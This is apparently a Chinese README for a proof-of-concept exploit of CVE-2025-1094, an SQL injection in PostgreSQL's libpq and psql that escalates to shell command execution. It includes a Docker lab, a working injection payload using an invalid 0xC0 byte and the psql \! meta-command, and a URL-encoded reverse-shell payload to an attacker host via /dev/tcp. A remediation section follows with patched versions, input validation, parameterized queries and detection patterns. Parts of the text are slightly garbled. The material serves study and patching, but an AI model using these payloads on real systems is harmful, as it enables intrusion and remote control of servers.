概念验证 针对 PostgreSQL 客户端 libpq 和 psql 工具中的严重 SQL 注入漏洞
CVE-2025-1094 是 PostgreSQL 客户端库 libpq 和命令行工具 psql 中的一个严重漏洞。该漏洞允许攻击者在应用已使用标准字符串转义函数(如 PQescapeLiteral)的情况下,实施 SQL 注入并升级为远程代码执行(RCE)。
该问题源于 libpq 的字符串转义库与 psql 解析器之间,对无效多字节(例如 UTF-8)字节序列的处理不一致。
1. 绕过转义
PQescapeLiteral 函数被一个“伪字节”(例如 0xC0)欺骗')视为一个字符2. 通过元命令实现 RCE
\!本项目模拟了当调用 C 语言 libpq 函数时的实际环境:
.
├── docker-compose.yml # 启动 PostgreSQL + Web 应用
├── exolit.py # 漏洞利用脚本 - 从外部攻击
├── README.md # 本文档
└── app/
├── app.py # Flask Web 应用 - 接收用户输入
├── Dockerfile # 构建包含漏洞代码的镜像
└── init_db.sql # 初始化数据库
/search 端点接收用户输入\! 执行系统命令hax\xc0'; \! id; #
1. 用户输入: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() 未识别 \xc0 + ' 为攻击
↓
3. 字符串被发送至 psql: hax\xc0'; \! id; #
↓
4. psql 解析:\xc0 部分被视为字符串结束
↓
5. 元命令 \! 被触发
↓
6. 以容器权限执行 shell 命令 id
docker-compose up -d
docker-compose ps
确保 PostgreSQL 和 Flask 应用均已运行。
python exolit.py
预期结果: 将显示从服务器获取的 uid=0(root) 信息
docker-compose down
发送一个 POST 请求到 /search,请求体如下:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0(无效 UTF-8 字节)%27 = '(单引号)%23 = #(井号)+ = 空格hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<hacker-ip>/<hacker-port>+0>%261"+;+%23
注意: 将 <hacker-ip> 和 <hacker-port> 替换为攻击者的 IP 和端口
升级 PostgreSQL 到已修复的版本:
| 版本 | 安全版本 |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
在处理输入数据之前,始终验证其是否为有效的 UTF-8:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
在应用编程中,请使用官方驱动库:
# ❌ 不要:使用 subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ 应该:使用 psycopg2 的参数化查询
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
root 身份运行 Web 应用root 身份运行数据库设置检测以下模式的规则:
- 请求体中的 0xC0、0xC1 字节
- 用户输入中的元命令 `\!`
- 类似 `; \!` 或 `' \!` 的字符串
源代码文件链接(修复前) 您可以查看 17.2 版本(仍存在漏洞)的 src/interfaces/libpq/fe-exec.c 文件:
查看“补丁”(The Patch)—— 白盒分析最重要 要理解他们为何出错以及如何修复,最佳方式是查看 Commit Diff(有漏洞版本与修复版本之间的差异)。
漏洞分析文章:https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/
| 组成部分 | 值 | 含义 |
|---|
| 数据输入 | hax | 正常普通数据 |
| 伪字节 | \xc0 | 无效 UTF-8 字节 - 绕过转义 |
| 引号 | ' | “隐形” 单引号 - 逃过过滤器 |
| SQL 结束符 | ; | 结束当前 SQL 语句 |
| 元命令 | \! | psql 特殊命令 - 逃逸至操作系统 Shell |
| Shell 命令 | id | 待执行的命令(可替换为反向 shell) |
| 注释 | # | SQL 注释标记 - 禁用多余部分 |